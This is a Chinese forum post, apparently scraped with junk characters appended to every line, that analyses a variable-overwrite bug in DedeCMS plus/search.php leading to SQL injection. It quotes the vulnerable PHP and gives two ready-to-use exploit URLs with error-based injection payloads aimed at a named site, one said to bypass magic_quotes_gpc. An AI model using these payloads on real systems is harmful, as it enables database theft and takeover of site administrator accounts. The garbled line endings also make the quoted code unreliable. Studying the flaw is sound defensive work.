微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.1 d" D$ y L- b; V$ [+ ]$ y; q
作者: c4rp3nt3r@0x50sec.org
y2 I' J# R0 }. N. h, n7 f; [Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
: b2 w5 O! G! ~- i T) B
2 Q% f [ i. F6 `; O8 e黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.3 F! i$ Z& k8 `# @0 `
S8 n7 P% ], C; O============
# I( A6 U; s8 X3 s ' V% [( ^$ K- k! [; e- j" w
: a7 b! b6 P$ W; h
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
" g5 D+ O4 ?% \. q/ |: L & r- O! c" ]1 }2 \
require_once(dirname(__FILE__).”/../include/common.inc.php”);) F7 q6 _- k2 R$ u" |$ z
require_once(DEDEINC.”/arc.searchview.class.php”);6 o& d: f* m1 ~7 t: e7 P: C
& N# t. g( X3 s1 |1 C5 K: Q
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
. h- Q! D0 N2 i$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;5 M( w) a7 H0 ~
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;6 T% ]( L8 c+ }- N
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;! o% y4 J% D6 C' r' w3 Z c9 i
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;1 a& p# E) V$ S
( V; R& C0 s5 Gif(!isset($orderby)) $orderby=”;) N' l/ L# q+ m7 m! M( `
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
+ _2 V) X. J6 I* R1 N 8 a0 Z; K0 A+ Y, T% _) _
8 D$ n3 `9 d* B' _, L# w
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
; V0 Q1 O' W) V3 |2 m' Selse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);( h" m+ p+ L/ U
4 I9 Z0 V- i1 s* }- ~$ h2 g
if(!isset($keyword)){6 r& c" j+ j) ?5 D$ {4 p
if(!isset($q)) $q = ”;
1 Q9 b8 R# T |! C# f $keyword=$q;! d5 P% r) ~7 g9 `- U5 e
}) r2 H+ o0 m4 v
1 i# j! t6 Y1 m) F$ I, L
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));2 i/ b& `3 A# L( G( Y' v$ |
' y* S% o5 \ u( [3 U
//查找栏目信息
" Q% a: }5 d5 e) V$ u9 Bif(empty($typeid))4 i2 z6 @. j& r+ W' F
{. }; Z0 D8 j: l' X
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;+ p# M2 N- `$ [
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
. N8 T, @- b$ C+ e {; v+ j0 b& {6 J7 _7 {; I
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
8 |( w# H! s% b& a fwrite($fp, “<”.”?php\r\n”);* {) \6 C. ]( n7 |! ~
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
# y$ L( Y3 l. t' X _8 ? $dsql->Execute();4 n; y& O0 ~+ a( g# M
while($row = $dsql->GetArray())
1 \6 \3 j! J7 \/ D {. V9 e$ V: R8 A8 ]7 J7 O
fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
9 d9 c! c+ a& U6 W }# ~8 W& C, i' i) P$ V$ m9 N7 k
fwrite($fp, ‘?’.'>’);6 h" K8 B& b# [. ?
fclose($fp);. S g0 z* L' d# A6 ]' y
}
! N/ k) w0 Z* T8 p3 R8 X* D; G+ Y& o* B4 o //引入栏目缓存并看关键字是否有相关栏目内容/ K! U5 c9 {$ [; j+ k# y
require_once($typenameCacheFile);
) @6 W& _ X" u//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
" O8 o9 ^5 Q2 ]1 U5 x) O* Y//) T W' J0 Y* R) t! n/ h2 W
if(isset($typeArr) && is_array($typeArr))
g# r6 N: R. T# ~6 { {
0 b. _8 U/ g; x- e* t B q* o foreach($typeArr as $id=>$typename)
5 n) l6 _7 M* w4 I" \. d {
/ o o7 @7 o. k. m: e4 h( j# M
: K7 E3 [" }5 j" |& U% m6 r <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过6 m7 Y6 y5 z y4 z/ T
if($keyword != $keywordn)
. o* x6 x7 r/ c: b! \/ ~ {) C" x9 ~# n' [
$keyword = $keywordn;
7 c- }4 s5 f& [/ T0 G9 r- I6 n <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设5 G, Z; N9 E P7 B) W) d: h& s
break;
/ ^0 y4 |' d1 Z5 E3 c }
6 |! h! ?. m2 S2 K$ k$ J+ L }. |+ i* [3 ?0 Z4 @4 s. G+ n/ z; S! w
}
4 R0 J$ k7 u" ~ Q, ]2 Q' ?& H}% O2 Z2 t* C% e9 \0 h0 J3 ` ^2 `+ a8 n
然后plus/search.php文件下面定义了一个 Search类的对象 .4 q: ~& N3 o% s" x$ q6 F" r' P
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.# I/ j/ z" l4 B+ c5 ~8 T$ {+ S
$this->TypeLink = new TypeLink($typeid);% ~. t: ?% G: P& p$ U1 K
1 O% l$ g1 A; V/ dTypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.: y' W( Y1 F ]' t8 F$ M
4 @ F$ p+ j9 x7 X7 F! i
class TypeLink% a5 [" j+ O+ p. v9 P5 O
{
) Y/ {6 i2 b3 ^8 ~4 c" Y4 X var $typeDir;
% [( w: o7 h `* d- W! C' Z var $dsql;5 P- }( G% |7 Q, |# {" x! P
var $TypeID;
8 S8 I6 d. s$ n# y& X, w' b var $baseDir;- h" j0 d5 ]' }; r! D% e
var $modDir;! U& ~* x& U- f* I) |, w
var $indexUrl;' K e/ N* M* }, d! q
var $indexName;) m% I( M# X. l! [7 O5 F; F
var $TypeInfos;
% O9 \$ f! B; C: K; P% ? var $SplitSymbol;
, f- w; I" o& D7 S4 v- F: l5 X0 j var $valuePosition;
/ C* M3 h. y# r var $valuePositionName;$ X$ f) |# f. x4 ~9 B9 U+ S
var $OptionArrayList;//构造函数///////
; e9 A, U5 O, Y% W //php5构造函数+ c+ E9 b$ `$ F' y
function __construct($typeid), Y0 f- P' A+ R# {" D2 Z
{4 M1 r& _/ m5 `
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
! }; L; W8 Z' }7 D9 R' B* B $this->indexName = $GLOBALS['cfg_indexname'];/ H! ~' ^, ]& f: P0 u0 L
$this->baseDir = $GLOBALS['cfg_basedir'];: H3 q& M% A2 q# u9 M( X
$this->modDir = $GLOBALS['cfg_templets_dir'];
% r1 }5 E Z7 j) A# \) R $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
' u/ i; M* s. M" H $this->dsql = $GLOBALS['dsql'];
' }8 K$ M$ W0 K7 P& i $this->TypeID = $typeid;0 W' `. ]+ D, h6 h, a3 F
$this->valuePosition = ”;
) |8 m- R+ e2 c! A: s $this->valuePositionName = ”;% B5 x) L% v7 M
$this->typeDir = ”;- t, v+ Z8 k, }8 d
$this->OptionArrayList = ”;
" h$ ~1 K. ]6 m( p' c6 F( M6 ~
( {! G8 u, ?& _, `8 m3 @2 u1 e //载入类目信息
! ^ r" D8 R8 g8 i1 P' E; L1 P / s! v4 M X" K
<font color=”Red”>$query = “SELECT tp.*,ch.typename as; \+ t6 F& h' V" K$ x$ g$ x
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
, a7 X& ]% J+ z9 P+ B F" s`#@__channeltype` ch' m, ~+ P9 S! E# w- r; ~
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿5 C* J& G: r* q' W7 i! V2 E, i
* R; X2 ?5 i& B: I$ Q
if($typeid > 0); I' d0 @+ q+ h
{
& g7 b5 i' y" [# K3 h: @) t* X $this->TypeInfos = $this->dsql->GetOne($query);
% i! G. Y O. O" ^ a利用代码一 需要 即使magic_quotes_gpc = Off
9 Y2 Y) |4 ]. M$ C2 J! M 6 E& `, g& Y, f+ D+ R
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
: y: U$ _+ ~$ q( Q; x8 S: U0 \4 x p) p3 X) {1 `& x6 `* z Q2 V
这只是其中一个利用代码… Search 类的构造函数再往下
* E; Y: R9 d9 d) I5 ^5 x
I! g3 N" V4 B……省略
$ t; O# r/ Q/ L5 R. M% g9 u' g$this->TypeID = $typeid;4 `& N+ Q7 N& ?& Z
……省略
) M k0 k. I8 m0 j. _if($this->TypeID==”0″){
2 r2 b, J- N* {) E( J8 }' R; c ^ $this->ChannelTypeid=1;
6 _* i# \- {! c; a! x1 e }else{3 r/ W8 j" K. r7 W
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
# X* n7 ~* A. G, f% D4 O//现在不鸡肋了吧亲…
`1 n8 G2 U7 D E $this->ChannelTypeid=$row['channeltype'];& ^& m- {! B; L H3 t: X4 Z
" f# C5 ~; x) _/ H8 X& C! ]
}3 I& ]# i l% }, Z* v' o% l# {
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.: {3 U5 }' k! J. X* b# X/ M
1 H: _5 }2 B ~; o: u5 K
www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title" W/ p/ Y+ U% Q" z( I0 C& O
: u/ g& U; I( d% O! `9 G如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站. K& C2 F# v* J9 `* |
|